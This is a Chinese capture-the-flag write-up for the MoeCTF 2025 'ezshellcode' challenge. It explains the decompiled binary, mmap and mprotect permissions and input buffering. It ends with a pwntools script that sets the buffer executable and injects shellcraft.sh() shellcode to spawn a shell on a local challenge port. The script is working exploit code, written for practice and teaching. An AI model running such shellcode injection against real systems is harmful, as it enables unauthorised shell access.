题目:MoeCTF_2025_ezshellcode
日期:25-9-9
题目逻辑:
int __cdecl main(int argc, const char **argv, const char **envp)
{
int v4; // [rsp+0h] [rbp-20h] BYREF
int prot; // [rsp+4h] [rbp-1Ch]
int v6; // [rsp+8h] [rbp-18h]
int v7; // [rsp+Ch] [rbp-14h]
void *s; // [rsp+10h] [rbp-10h]
unsigned __int64 v9; // [rsp+18h] [rbp-8h]
v9 = __readfsqword(0x28u);
init(argc, argv, envp);
s = mmap(0LL, 0x1000uLL, 3, 34, -1, 0LL);
if ( s == (void *)-1LL )
{
perror("mmap");
return 1;
}
memset(s, 0, 0x1000uLL);
v6 = 0;
prot = 0;
puts("In a ret2text exploit, we can use code in the .text segment.");
puts("But now, there is no 'system' function available there.");
puts("How can you get the flag now? Perhaps you should use shellcode.");
puts("But what is shellcode? What can you do with it? And how can you use it?");
puts("I will give you some choices. Choose wisely!");
__isoc99_scanf("%d", &v4);
do
v7 = getchar();
while ( v7 != 10 && v7 != -1 );
if ( v4 == 4 )
{
if ( v6 == 1 )
puts("You can only make one change!");
prot = 7;
v6 = 1;
}
else
{
if ( v4 > 4 )
goto LABEL_24;
switch ( v4 )
{
case 3:
if ( v6 == 1 )
puts("You can only make one change!");
prot = 4;
v6 = 1;
break;
case 1:
if ( v6 == 1 )
puts("You can only make one change!");
prot = 1;
v6 = 1;
break;
case 2:
if ( v6 == 1 )
puts("You can only make one change!");
prot = 3;
v6 = 1;
break;
default:
LABEL_24:
puts("Invalid choice. The space remains in its chaotic state.");
exit(1);
}
}
if ( mprotect(s, 0x1000uLL, prot) == -1 )
{
perror("mprotect");
exit(1);
}
puts("\nYou have now changed the permissions of the shellcode area.");
puts("If you can't input your shellcode, think about the permissions you just set.");
read(0, s, 0x1000uLL);
((void (*)(void))s)();
return 0;
}
要点解析:
***** void ,一种通用类型指针,使s可以指向内存的任意区域。
***** mmap,系统调用,将文件或设备映射到内存中,这里用于分配一块匿名内存区域。0LL,建议的起始地址,0表示由系统自动选择地址。0x1000uLL,映射区内存大小,用于注入shellcode。3,内存权限(1可读,2可写,3可读可写,4可执行)。34,映射标志,匿名映射(内存区域不关联任何文件)和私有映射(对内存的修改不会影响其他进程)。-1,文件描述符,表示匿名映射。0LL,偏移量,0表示从文件开头开始映射,但因匿名映射,这个参数被忽略。
***** (void )-1,特殊的指针值,表示错误或无效指针,mmap失败会返回MAP_FAILED,这个宏通常被定义为(void )-1。
***** memset,将s指向的4096字节内存区域用0覆盖(即清空此内存区域),方便shellcode的注入,防止执行内存中原有的数据。
***** 理解“流”、“缓冲区”:标准输入是一条数据通往程序的流,是操作系统底层的一种文件,他直接存储键盘输入的数据。scanf等函数读取数据时只发起一次系统调用,一次性从标准输入中读很多数据存入缓冲区,避免了多次系统调用,提高了效率。三者位置关系为:【标准输入】→【缓冲区】→【程序】
***** read读取从标准输入位置开始往后的所有数据,而shellcode存在于缓冲区,所以如果缓冲区中存在数据,就会被read读取,污染shellcode。
***** getchar会从缓冲区中读取一个数据,通过do-while的配合,只要数据中还存在换行符或文件结束符就会持续循环直到缓冲区的垃圾数据被清空。
***** 输入4,不会触发第二层if,只会给v6赋值1,prot赋值7,后面的段else直接跳过,执行后面的if或puts。
***** mprotect用于修改内存权限(将从s开始的4096字节内存修改为prot的权限)并返回结果(成功返回0,失败返回-1),失败则触发if,输出报错。因为7代表可读可写可执行,所以上一次输入4将7赋给prot。
***** read从标准输入中读取4096字节数据(shellcode)存入s,稍后程序会执行这部分内容。
***** goto,跳转到指定标签的位置继续执行。这里的标签上是LABLE_24。
***** ((void ()(void))s)()拆解:“”说明这是一个指针,(void)表示这个指针不指向任何参数,()(void)共同表示这个指针指向一个函数,第一个void强制把s转换为()(void),即指向一个函数的指针,至此shellcode成为了可执行的函数而不是不可执行的数据。最后的()是函数调用操作符,表示“调用这个函数”。
解题思路:
为了使shellcode所在内存得到可写可执行权限,第一次应输入4,将7赋给prot,随后getchar会清空缓冲区,read等待输入,这时注入shellcode,随后()(void)把s由数据指针转换为函数指针,使shellcode可执行。程序执行到shellcode,拿到shell。
解题脚本:
from pwn import *
context(arch='amd64', os='linux', log_level='debug')
# io = process('./pwn(1)')
io = remote("127.0.0.1",33265)
io.recvuntil('wisely!')
io.sendline('4')
io.recvuntil('set.')
shellcode = asm(shellcraft.sh())
io.sendline(shellcode)
io.interactive()
***** shellcraft.sh():直接生成用于启动shell的汇编代码的工具。asm将汇编代码转换为机器码。
3万+

被折叠的 条评论
为什么被折叠?



